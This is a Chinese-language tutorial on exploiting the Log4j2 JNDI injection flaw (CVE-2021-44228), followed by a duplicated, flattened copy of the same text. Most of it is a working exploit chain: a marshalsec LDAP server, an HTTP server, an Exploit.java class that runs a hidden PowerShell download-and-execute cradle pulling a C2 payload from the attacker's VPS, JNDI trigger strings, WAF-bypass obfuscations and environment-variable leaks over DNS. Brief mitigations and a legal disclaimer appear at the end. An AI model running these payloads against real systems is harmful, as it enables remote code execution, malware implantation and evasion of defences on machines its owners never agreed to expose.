一次失败的log4j2远程命令代码执行复现!
字数 1213 2025-08-10 08:28:18

Log4j2远程命令执行漏洞复现与分析

漏洞概述

Log4j2远程命令执行漏洞(CVE-2021-44228)是Apache Log4j2日志组件中的一个严重安全漏洞,允许攻击者通过JNDI注入实现远程代码执行。该漏洞影响范围广泛,危害严重。

漏洞原理

当应用程序使用Log4j2记录用户可控的输入时,如果输入中包含${jndi:ldap://attacker.com/Exploit}这样的恶意字符串,Log4j2会解析并执行JNDI查找,导致从攻击者控制的服务器加载并执行恶意代码。

环境准备

所需工具

  1. DNSLog平台(用于漏洞验证)
  2. Marshalsec工具(用于搭建LDAP服务)
  3. Python HTTP服务器
  4. Cobalt Strike或其他C2框架(用于命令执行)
  5. Java开发环境(用于编译恶意类文件)

漏洞验证步骤

  1. 发现潜在漏洞点

    • 检查目标系统是否使用Log4j2记录日志
    • 确认目标系统允许LDAP协议
  2. DNSLog验证

    ${jndi:ldap://${sys:java.version}.example.dnslog.cn/a}
    

    观察DNSLog平台是否有解析记录

漏洞利用详细步骤

1. 搭建攻击基础设施

HTTP服务

python -m http.server 5555

LDAP服务(使用Marshalsec):

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-vps-ip:5555/#Exploit" 1389

2. 准备恶意类文件

Exploit.java

import java.lang.Runtime;

public class Exploit {
    public Exploit() {
        try {
            // 使用Base64编码的命令,避免特殊字符问题
            String cmd = "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://your-vps-ip:80/a'))\"";
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    public static void main(String[] argv) {
        Exploit e = new Exploit();
    }
}

编译恶意类

javac Exploit.java

3. 部署恶意文件

将编译后的Exploit.class文件放置在HTTP服务目录下,确保可通过http://your-vps-ip:5555/Exploit.class访问。

4. 触发漏洞

向目标系统发送包含恶意JNDI查找的请求:

${jndi:ldap://your-vps-ip:1389/Exploit}

常见问题与解决方案

  1. 利用失败可能原因

    • 目标Java版本过高(>=8u191、>=7u201、>=6u211)
    • 目标系统存在安全防护(WAF、EDR等)
    • 网络连接问题(端口被屏蔽等)
    • 恶意类文件未正确部署
  2. 绕过高版本Java限制

    • 使用com.sun.jndi.ldap.object.trustURLCodebase属性设置为true(需目标环境允许)
    • 使用本地类路径中的类进行利用
  3. 绕过WAF/防护

    • 使用URL编码:${jndi:ldap://example.com}${${::-j}ndi:ldap://example.com}
    • 使用环境变量:${jndi:ldap://${env:USER}.example.com/a}
    • 使用DNS重定向技术

防护措施

  1. 紧急缓解方案

    • 升级Log4j2至2.15.0或更高版本
    • 设置JVM参数:-Dlog4j2.formatMsgNoLookups=true
    • 删除JndiLookup类文件
  2. 长期防护

    • 实施输入验证和过滤
    • 限制出站网络连接
    • 部署WAF规则拦截JNDI注入尝试

法律与道德声明

本文档仅用于安全研究和教育目的。未经授权对系统进行测试或攻击是违法行为。请在法律允许范围内使用这些知识,并始终获得目标系统所有者的明确许可。

Log4j2远程命令执行漏洞复现与分析 漏洞概述 Log4j2远程命令执行漏洞(CVE-2021-44228)是Apache Log4j2日志组件中的一个严重安全漏洞,允许攻击者通过JNDI注入实现远程代码执行。该漏洞影响范围广泛,危害严重。 漏洞原理 当应用程序使用Log4j2记录用户可控的输入时,如果输入中包含 ${jndi:ldap://attacker.com/Exploit} 这样的恶意字符串,Log4j2会解析并执行JNDI查找,导致从攻击者控制的服务器加载并执行恶意代码。 环境准备 所需工具 DNSLog平台(用于漏洞验证) Marshalsec工具(用于搭建LDAP服务) Python HTTP服务器 Cobalt Strike或其他C2框架(用于命令执行) Java开发环境(用于编译恶意类文件) 漏洞验证步骤 发现潜在漏洞点 : 检查目标系统是否使用Log4j2记录日志 确认目标系统允许LDAP协议 DNSLog验证 : 观察DNSLog平台是否有解析记录 漏洞利用详细步骤 1. 搭建攻击基础设施 HTTP服务 : LDAP服务 (使用Marshalsec): 2. 准备恶意类文件 Exploit.java : 编译恶意类 : 3. 部署恶意文件 将编译后的 Exploit.class 文件放置在HTTP服务目录下,确保可通过 http://your-vps-ip:5555/Exploit.class 访问。 4. 触发漏洞 向目标系统发送包含恶意JNDI查找的请求: 常见问题与解决方案 利用失败可能原因 : 目标Java版本过高(>=8u191、>=7u201、>=6u211) 目标系统存在安全防护(WAF、EDR等) 网络连接问题(端口被屏蔽等) 恶意类文件未正确部署 绕过高版本Java限制 : 使用 com.sun.jndi.ldap.object.trustURLCodebase 属性设置为true(需目标环境允许) 使用本地类路径中的类进行利用 绕过WAF/防护 : 使用URL编码: ${jndi:ldap://example.com} → ${${::-j}ndi:ldap://example.com} 使用环境变量: ${jndi:ldap://${env:USER}.example.com/a} 使用DNS重定向技术 防护措施 紧急缓解方案 : 升级Log4j2至2.15.0或更高版本 设置JVM参数: -Dlog4j2.formatMsgNoLookups=true 删除 JndiLookup 类文件 长期防护 : 实施输入验证和过滤 限制出站网络连接 部署WAF规则拦截JNDI注入尝试 法律与道德声明 本文档仅用于安全研究和教育目的。未经授权对系统进行测试或攻击是违法行为。请在法律允许范围内使用这些知识,并始终获得目标系统所有者的明确许可。